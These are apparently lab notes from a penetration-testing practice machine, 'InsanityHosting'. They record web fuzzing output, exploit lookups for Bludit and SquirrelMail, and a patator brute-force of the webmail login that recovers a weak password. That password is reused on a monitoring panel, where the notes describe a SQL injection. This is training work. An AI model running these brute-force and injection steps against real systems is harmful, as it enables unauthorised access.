InfoSec LAB

InsanityHosting_Web

Created: 10 min read

Web

Nmap discovered a Web server on the port 80 of the 192.168.207.124 host. The running service is Apache httpd 2.4.6 ((CentOS) PHP/7.2.33)

┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/insanityhosting]
└─$ curl -I -X OPTIONS http://$IP/                                                                                                
HTTP/1.1 200 OK
Date: Thu, 03 Jul 2025 19:13:05 GMT
Server: Apache/2.4.6 (CentOS) PHP/7.2.33
Allow: GET,HEAD,POST,OPTIONS,TRACE
Content-Length: 0
Content-Type: text/html; charset=UTF-8
 
 
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/insanityhosting]
└─$ curl -I http://$IP/        
HTTP/1.1 200 OK
Date: Thu, 03 Jul 2025 19:13:07 GMT
Server: Apache/2.4.6 (CentOS) PHP/7.2.33
Last-Modified: Sun, 16 Aug 2020 14:23:16 GMT
ETag: "56f7-5acff65168875"
Accept-Ranges: bytes
Content-Length: 22263
Content-Type: text/html; charset=UTF-8

Webroot It’s a static site.

Domain

A domain disclosure; insanityhosting.vm

The domain information has been appended to the /etc/hosts file on Kali for local DNS resolution.

Fuzzing

┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/insanityhosting]
└─$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -u http://$IP/FUZZ -ic -e .html,.txt,.php
________________________________________________
 :: Method           : GET
 :: URL              : http://192.168.207.124/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
 :: Extensions       : .html .txt .php 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
.htaccess.html          [Status: 403, Size: 216, Words: 15, Lines: 9, Duration: 21ms]
.htaccess.txt           [Status: 403, Size: 215, Words: 15, Lines: 9, Duration: 21ms]
.htaccess               [Status: 403, Size: 211, Words: 15, Lines: 9, Duration: 21ms]
.htpasswd.txt           [Status: 403, Size: 215, Words: 15, Lines: 9, Duration: 19ms]
.htaccess.php           [Status: 403, Size: 215, Words: 15, Lines: 9, Duration: 19ms]
.htpasswd.php           [Status: 403, Size: 215, Words: 15, Lines: 9, Duration: 19ms]
.htpasswd.html          [Status: 403, Size: 216, Words: 15, Lines: 9, Duration: 21ms]
.htpasswd               [Status: 403, Size: 211, Words: 15, Lines: 9, Duration: 21ms]
cgi-bin/                [Status: 403, Size: 210, Words: 15, Lines: 9, Duration: 19ms]
cgi-bin/.html           [Status: 403, Size: 215, Words: 15, Lines: 9, Duration: 21ms]
css                     [Status: 301, Size: 235, Words: 14, Lines: 8, Duration: 24ms]
data                    [Status: 301, Size: 236, Words: 14, Lines: 8, Duration: 20ms]
fonts                   [Status: 301, Size: 237, Words: 14, Lines: 8, Duration: 20ms]
img                     [Status: 301, Size: 235, Words: 14, Lines: 8, Duration: 19ms]
index.php               [Status: 200, Size: 31, Words: 4, Lines: 1, Duration: 25ms]
index.html              [Status: 200, Size: 22263, Words: 8919, Lines: 480, Duration: 21ms]
js                      [Status: 301, Size: 234, Words: 14, Lines: 8, Duration: 22ms]
licence                 [Status: 200, Size: 57, Words: 10, Lines: 2, Duration: 22ms]
monitoring              [Status: 301, Size: 242, Words: 14, Lines: 8, Duration: 22ms]
news                    [Status: 301, Size: 236, Words: 14, Lines: 8, Duration: 21ms]
phpmyadmin              [Status: 301, Size: 242, Words: 14, Lines: 8, Duration: 22ms]
phpinfo.php             [Status: 200, Size: 85342, Words: 4351, Lines: 1024, Duration: 29ms]
webmail                 [Status: 301, Size: 239, Words: 14, Lines: 8, Duration: 19ms]
:: Progress: [81912/81912] :: Job [1/1] :: 1960 req/sec :: Duration: [0:00:45] :: Errors: 0 ::
 
 
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/insanityhosting]
└─$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u http://$IP/FUZZ/ -ic
________________________________________________
 :: Method           : GET
 :: URL              : http://192.168.207.124/FUZZ/
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
                        [Status: 200, Size: 22263, Words: 8919, Lines: 480, Duration: 4421ms]
icons                   [Status: 200, Size: 74409, Words: 7427, Lines: 1007, Duration: 42ms]
data                    [Status: 200, Size: 1091, Words: 117, Lines: 17, Duration: 21ms]
css                     [Status: 200, Size: 2397, Words: 202, Lines: 23, Duration: 24ms]
news                    [Status: 200, Size: 5111, Words: 362, Lines: 136, Duration: 2409ms]
js                      [Status: 200, Size: 4225, Words: 338, Lines: 31, Duration: 20ms]
cgi-bin                 [Status: 403, Size: 210, Words: 15, Lines: 9, Duration: 3415ms]
webmail                 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 24ms]
img                     [Status: 200, Size: 1091, Words: 107, Lines: 17, Duration: 4423ms]
fonts                   [Status: 200, Size: 2915, Words: 205, Lines: 25, Duration: 19ms]
monitoring              [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 37ms]
phpmyadmin              [Status: 200, Size: 15373, Words: 2711, Lines: 322, Duration: 243ms]
:: Progress: [207630/207630] :: Job [1/1] :: 2061 req/sec :: Duration: [0:01:55] :: Errors: 0 ::

/index.php

Missing version directory?

/phpinfo.php

PHP Version 7.2.33

insanityhosting.vm is the server name. Web root directory at /var/www/html

MySQL in the backend.

.phar supported

/data/ Endpoint

2 files;

EMPTY

1.14.0

VERSION

1.14.0

/news/ Endpoint

A Bludit instance at the /news/ endpoint.

Bludit is a web application to build your own website or blog in seconds, it’s completely free and open source. Markdown support.

Bludit Username Disclosure

Potential username disclosure; Otis

Bludit Version Information

The version information is disclosed at the bl-plugins/about/metadata.json endpoint; 3.13.1

Bludit Vulnerabilities
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/insanityhosting]
└─$ searchsploit Bludit 3.13.1
------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                |  Path
------------------------------------------------------------------------------ ---------------------------------
Bludit 3.13.1 - 'username' Cross Site Scripting (XSS)                         | php/webapps/50529.txt
Bludit < 3.13.1 Backup Plugin - Arbitrary File Download (Authenticated)       | php/webapps/51541.py
------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
Papers: No Results

Bludit 3.13.1 suffers from multiple vulnerabilities.

Bludit Admin Panel

Admin panel is available at the /admin/ endpoint. No credential is known at this time.

/webmail/ Endpoint

A login page for a SquirrelMail instance at the /webmail Endpoint No credential is known at this time.

SquirrelMail is a project that aims to provide both a web-based email client and a proxy server for the IMAP protocol.

SquirrelMail configtest

N/A

SquirrelMail Brute-Force Attack

A potential user has been identified above; Otis

┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/insanityhosting]
└─$ patator http_fuzz proxy=localhost:8080 url=http://insanityhosting.vm/webmail/src/redirect.php method=POST body="login_username=Otis&secretkey=FILE0" 0=/usr/share/wordlists/john.lst follow=0 accept_cookie=1 -x ignore:fgrep='Unknown user or password incorrect.' 
23:05:03 patator    INFO - Starting Patator 1.0 (https://github.com/lanjelot/patator) with python-3.13.3 at 2025-07-03 23:05 CEST
23:05:03 patator    INFO -                                                                              
23:05:03 patator    INFO - code size:clen       time | candidate                          |   num | mesg
23:05:03 patator    INFO - -----------------------------------------------------------------------------
23:05:35 patator    INFO - 302  2046:0        15.150 | 123456                             |    14 | HTTP/1.1 302 Found
23:10:40 patator    INFO - Hits/Done/Skip/Fail/Size: 1/3559/0/0/3559, Avg: 14 r/s, Time: 0h 5m 37s

Found a password for the Otis user; 123456

SquirrelMail Authentication

Successfully authenticated as the Otis user to the target SquirrelMail instance.

SquirrelMail Version Information

Version information is disclosed; 1.4.22

SquirrelMail Vulnerabilities
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/insanityhosting]
└─$ searchsploit SquirrelMail 1.4.22
---------------------------------------------- ---------------------------------
 Exploit Title                                |  Path
---------------------------------------------- ---------------------------------
SquirrelMail < 1.4.22 - Remote Code Execution | linux/remote/41910.sh
---------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

SquirrelMail 1.4.22 suffers from a RCE vulnerability; CVE-2017-7692 # This did not work. Authentication has been made through the brute-force attack.

/monitoring/ Endpoint

Redirected to a custom PHP application at the /monitoring/ endpoint. No credential is known at this time.

Authentication

Attempting to authenticate using the same credential for the target SquirrelMail instance; Otis:123456

Successfully authenticated MONITORING CONTROL

Adding A New Monitoring Instance

Adding a new instance for monitoring.

A new instance has been added but the Status field shows empty.

and nothing on the responder

The target system pinged Kali.

The Status field now shows UP

Server Is Down

It says that, if a server is down, e-mail will be sent with a report

┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/insanityhosting]
└─$ sudo iptables -A INPUT -p icmp -j DROP

I will make Kali block all the ICMP traffic and observe the inbox on the target SquirrelMail instance.

A mail came through from monitor@localhost.localdomain

The mail indeed contains a report that appears to be fetched from a database. Name field is reflected; test

SQLi

Injecting a SQLi testing payload into the Name field.

It failed because it’s wrapped in double quotes (")

Testing it again with a double quote (")

SQLi confirmed as it listed every single entry.

Fuzzing /monitoring/ Endpoint

┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/insanityhosting]
└─$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -u http://insanityhosting.vm/monitoring/FUZZ -ic -e .html,.txt,.php
________________________________________________
 :: Method           : GET
 :: URL              : http://insanityhosting.vm/monitoring/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
 :: Extensions       : .html .txt .php 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
.htpasswd.html          [Status: 403, Size: 227, Words: 15, Lines: 9, Duration: 19ms]
.htaccess               [Status: 403, Size: 222, Words: 15, Lines: 9, Duration: 21ms]
.htaccess.txt           [Status: 403, Size: 226, Words: 15, Lines: 9, Duration: 21ms]
.htpasswd.php           [Status: 403, Size: 226, Words: 15, Lines: 9, Duration: 21ms]
.htaccess.php           [Status: 403, Size: 226, Words: 15, Lines: 9, Duration: 21ms]
.htpasswd               [Status: 403, Size: 222, Words: 15, Lines: 9, Duration: 21ms]
.htpasswd.txt           [Status: 403, Size: 226, Words: 15, Lines: 9, Duration: 21ms]
.htaccess.html          [Status: 403, Size: 227, Words: 15, Lines: 9, Duration: 21ms]
assets                  [Status: 301, Size: 252, Words: 14, Lines: 8, Duration: 20ms]
class                   [Status: 301, Size: 251, Words: 14, Lines: 8, Duration: 19ms]
cron.php                [Status: 403, Size: 221, Words: 15, Lines: 9, Duration: 21ms]
css                     [Status: 301, Size: 249, Words: 14, Lines: 8, Duration: 19ms]
fonts                   [Status: 301, Size: 251, Words: 14, Lines: 8, Duration: 20ms]
images                  [Status: 301, Size: 252, Words: 14, Lines: 8, Duration: 20ms]
index.php               [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 24ms]
js                      [Status: 301, Size: 248, Words: 14, Lines: 8, Duration: 19ms]
login.php               [Status: 200, Size: 4848, Words: 110, Lines: 96, Duration: 21ms]
logout.php              [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 25ms]
settings                [Status: 301, Size: 254, Words: 14, Lines: 8, Duration: 21ms]
smarty                  [Status: 301, Size: 252, Words: 14, Lines: 8, Duration: 19ms]
templates               [Status: 301, Size: 255, Words: 14, Lines: 8, Duration: 22ms]
templates_c             [Status: 301, Size: 257, Words: 14, Lines: 8, Duration: 24ms]
vendor                  [Status: 301, Size: 252, Words: 14, Lines: 8, Duration: 21ms]
:: Progress: [81912/81912] :: Job [1/1] :: 1818 req/sec :: Duration: [0:00:47] :: Errors: 0 ::
 
 
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/insanityhosting]
└─$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u http://insanityhosting.vm/monitoring/FUZZ/ -ic -fw 1
________________________________________________
 :: Method           : GET
 :: URL              : http://insanityhosting.vm/monitoring/FUZZ/
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 1
________________________________________________
images                  [Status: 200, Size: 1129, Words: 105, Lines: 17, Duration: 64ms]
templates               [Status: 200, Size: 1573, Words: 150, Lines: 19, Duration: 23ms]
assets                  [Status: 200, Size: 1953, Words: 236, Lines: 21, Duration: 23ms]
css                     [Status: 200, Size: 1120, Words: 103, Lines: 17, Duration: 19ms]
js                      [Status: 200, Size: 911, Words: 81, Lines: 16, Duration: 21ms]
vendor                  [Status: 200, Size: 2642, Words: 261, Lines: 24, Duration: 23ms]
settings                [Status: 200, Size: 923, Words: 76, Lines: 16, Duration: 22ms]
class                   [Status: 200, Size: 1337, Words: 121, Lines: 18, Duration: 19ms]
fonts                   [Status: 200, Size: 1583, Words: 132, Lines: 19, Duration: 31ms]
smarty                  [Status: 200, Size: 2211, Words: 200, Lines: 22, Duration: 24ms]
templates_c             [Status: 200, Size: 1785, Words: 89, Lines: 19, Duration: 21ms]
:: Progress: [207630/207630] :: Job [1/1] :: 1652 req/sec :: Duration: [0:01:52] :: Errors: 0 ::

N/A

/phpmyadmin/ Endpoint

A phpMyAdmin instance at the /phpmyadmin/ endpoint. No credential is known at this time.

Virtual Host / Sub-domain Discovery

┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/insanityhosting]
└─$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://$IP/ -H 'Host: FUZZ.insanityhosting.vm' -ic -mc all -fs 22263
________________________________________________
 :: Method           : GET
 :: URL              : http://192.168.207.124/
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.insanityhosting.vm
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response size: 22263
________________________________________________
gc._msdcs               [Status: 400, Size: 347, Words: 36, Lines: 11, Duration: 20ms]
_domainkey              [Status: 400, Size: 347, Words: 36, Lines: 11, Duration: 23ms]
mailing._domainkey.sunnynews [Status: 400, Size: 347, Words: 36, Lines: 11, Duration: 20ms]
mailing._domainkey.info [Status: 400, Size: 347, Words: 36, Lines: 11, Duration: 23ms]
hallam_dev              [Status: 400, Size: 347, Words: 36, Lines: 11, Duration: 21ms]
hallam_ad               [Status: 400, Size: 347, Words: 36, Lines: 11, Duration: 20ms]
wm_j_b__ruffin          [Status: 400, Size: 347, Words: 36, Lines: 11, Duration: 20ms]
2609_n_www              [Status: 400, Size: 347, Words: 36, Lines: 11, Duration: 22ms]
0907_n_hn.m             [Status: 400, Size: 347, Words: 36, Lines: 11, Duration: 24ms]
0507_n_hn               [Status: 400, Size: 347, Words: 36, Lines: 11, Duration: 22ms]
faitspare_mbp.cit       [Status: 400, Size: 347, Words: 36, Lines: 11, Duration: 25ms]
sb_0601388345bc6cd8     [Status: 400, Size: 347, Words: 36, Lines: 11, Duration: 23ms]
sb_0601388345bc450b     [Status: 400, Size: 347, Words: 36, Lines: 11, Duration: 22ms]
api_portal_dev          [Status: 400, Size: 347, Words: 36, Lines: 11, Duration: 22ms]
api_web_dev             [Status: 400, Size: 347, Words: 36, Lines: 11, Duration: 25ms]
api_webi_dev            [Status: 400, Size: 347, Words: 36, Lines: 11, Duration: 22ms]
sklep_test              [Status: 400, Size: 347, Words: 36, Lines: 11, Duration: 22ms]
:: Progress: [114438/114438] :: Job [1/1] :: 900 req/sec :: Duration: [0:01:53] :: Errors: 0 ::

N/A

Interactive Graph View

Backlinks